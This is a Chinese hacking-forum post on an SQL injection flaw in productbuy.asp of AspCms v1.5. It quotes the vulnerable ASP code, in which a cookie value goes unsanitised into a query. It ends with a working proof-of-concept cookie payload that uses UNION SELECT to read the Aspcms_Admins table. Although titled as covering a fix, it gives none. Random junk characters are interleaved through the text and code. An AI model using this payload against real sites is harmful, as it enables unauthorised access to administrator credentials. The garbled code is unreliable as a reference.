AspCms_v1.5_20110517 SQL注射漏洞及修复

admin

好久没上土司了，上来一看发现在删号名单内.....
: n3 I3 I: j& X: d7 }* o* k- \也没啥好发的，前些天路过某个小站，用的AspCms这个系统，搜索了下，productbuy.asp这个文件存在注射，但是目标已经修补....下载了代码，很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞，但是就在同一个文件下面找到了注射漏洞。。。。。。。
1 @# P9 [* ~- L. |# B6 A; k废话不多说，看代码：

& j  C. T( M. g/ ?. f4 ?<%
9 I. E0 v% _/ l2 u, R) \4 v
if action = "buy" then

        addOrder()
  e( c4 O0 f6 u2 C
& K0 i1 [, |' V! @9 selse
& |3 y3 T( y: J
        echoContent()

end if
0 ^$ f, e  I3 Y/ u3 e' S


……略过



Sub echoContent()
: n' k! C$ c+ u8 u7 K9 d
& Y: Q, }7 n2 S        dim id
; O3 w5 W* z% x2 z- V
% \; P; J2 ?- \1 H1 `2 Z) r        id=getForm("id","get")
( o) S! k7 q, t2 u; }
* q* H, @: B4 P6 i. S        
) [. C# ~+ y+ J8 v: U  J" N4 D
; _  K* f& e+ m7 P6 Z. T& k        if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品！","-1"

8 A# D* P; G4 h/ c8 @$ q  i% Z0 ]) T        

        dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")

        dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct

        Dim templatePath,tempStr

3 d- b' M, _+ {$ v3 E        templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"
' y1 m  T* j$ a! \, N

2 Y1 u- ], p5 [! E3 [/ Y7 O9 k- ~
        set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")

! Q( L: }! q4 }        selectproduct=rsObj(0)
% p8 t7 R! O  W4 S4 E2 {
6 k: k& W0 L$ D$ F0 y        

  z* h7 G; Z. _4 J. T! F2 M        Dim linkman,gender,phone,mobile,email,qq,address,postcode

        if isnul(rCookie("loginstatus")) then  wCookie"loginstatus",0
3 w% @' @1 L1 l7 _2 u; W
3 ^# ^1 `* P. S7 q( f4 j        if rCookie("loginstatus")=1 then  
- K+ n) N) ~" N
5 e1 Y' y! z( m( \9 g, j3 v2 y                set rsObj=conn.Exec("select *  from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")
- }3 _; h+ j5 {
                linkman=rsObj("truename")
% ^* `1 c. y! |
                gender=rsObj("gender")

                phone=rsObj("phone")

                mobile=rsObj("mobile")
2 y3 g5 t, {; Q# }0 v5 |' k6 m, ^
2 f7 d* L2 U# m- I                email=rsObj("email")

4 @# l! z2 @- G3 n$ ]                qq=rsObj("qq")
4 L) R2 G3 {! x8 E" ^7 e- z
                address=rsObj("address")

( B( ]0 u& X2 [3 |                postcode=rsObj("postcode")

        else

4 ?) @7 z) b8 J# i3 `0 A  [                gender=1
. v8 C1 j& S/ N# R* Z  Z. [- m
        end if
; B3 B" d! ]) P' f* l
        rsObj.close()

" J6 w4 z: f: e# X9 f" a; S               

        with templateObj
4 M- y) @4 B' w
9 N1 S9 v: {3 e8 I4 z                .content=loadFile(templatePath)        

                .parseHtml()

                .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)
4 N% t, ?$ o* W) v
$ w$ @. C' y( ?                .content=replaceStr(.content,"[aspcms:linkman]",linkman)               
  h  X, v- d# B4 q5 _7 \
, K8 o8 R4 g, P! v7 D                .content=replaceStr(.content,"[aspcms:gender]",gender)               
  @2 J/ Y7 p$ H: J" O. ^% p& [( n
  ?9 [' `; W  X' n3 i, }% b                .content=replaceStr(.content,"[aspcms:phone]",phone)               
9 ?( B8 B. a& o$ v
                .content=replaceStr(.content,"[aspcms:mobile]",mobile)               

% ^. \; k8 ?! ^6 S  D# J3 p                .content=replaceStr(.content,"[aspcms:email]",email)                        
' C# S( L, m* r
                .content=replaceStr(.content,"[aspcms:qq]",qq)                        
0 J, O# R, i# |% O/ ^# t5 ^5 ]  l
                .content=replaceStr(.content,"[aspcms:address]",address)                        

+ K# \% X6 r( v$ y4 p                .content=replaceStr(.content,"[aspcms:postcode]",postcode)        

: t! y# ~7 v: Q& |$ m6 J- m                .parseCommon()                 
3 m" w# b, _9 |# s) b8 P2 C
                echo .content

        end with

* G+ K7 n5 r" h  L8 i        set templateobj =nothing : terminateAllObjects
1 u: D; @' h8 Y$ \
End Sub
* `: ~" B4 n$ p* Q漏洞很明显，没啥好说的
poc：

javascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外，脚本板块没权限发帖子​
. i: b3 ]6 L" a7 m. t